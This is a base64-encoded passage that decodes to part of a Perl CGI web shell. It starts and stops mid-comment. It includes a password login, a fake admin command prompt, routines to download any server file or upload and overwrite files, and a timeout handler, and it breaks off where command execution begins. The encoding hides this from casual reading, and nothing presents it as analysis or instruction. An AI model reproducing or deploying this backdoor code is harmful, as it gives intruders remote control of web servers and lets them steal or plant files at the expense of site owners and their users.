IHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQ0Kew0KCW15ICRkaXI9ICI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImNvbW1hbmQiKS4iPC9zcGFuPiI7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIzY2ZmY2Nic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQokUHJvbXB0DQo8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNTAiIG5hbWU9ImMiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQidHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+DQo8bGFiZWwgZm9yPSJ1cCI+T3ZlcndyaXRlIGlmIGl0IEV4aXN0czwvbGFiZWw+PGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KDQo8L2Zvcm0+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlyZXR1cm4gPDxFTkQ7DQo8L3RleHRhcmVhPg0KPGJyPjxmb250IGNvbG9yPXllbGxvdz4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+DQpFTkQNCgl9DQp9DQoNCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyDQojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaA0KIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5Lg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQ0Kew0KCWxvY2FsKCRGaWxlVXJsKSA9IEBfOw0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRyZXN1bHQgLj0gPDxFTkQ7DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPg0KRU5EDQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOw0KCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCW15ICRyZXN1bHQgPSAiIjsNCglsb2NhbCgkU2VuZEZpbGUpID0gQF87DQoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZw0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQliaW5tb2RlKFNFTkRGSUxFKTsNCgkJCWJpbm1vZGUoU1RET1VUKTsNCgkJfQ0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsNCgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOw0KCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7DQoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOw0KCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsNCgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7DQoJCWNsb3NlKFNFTkRGSUxFKTsNCgkJZXhpdCgxKTsNCgl9DQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsNCgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07DQoNCgl9DQoJbXkgJHJlc3VsdD0iIjsNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCSRyZXN1bHQgLj0gIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsNCgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJJHJlc3VsdCAuPSAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCgkNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQlyZXR1cm4gJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0t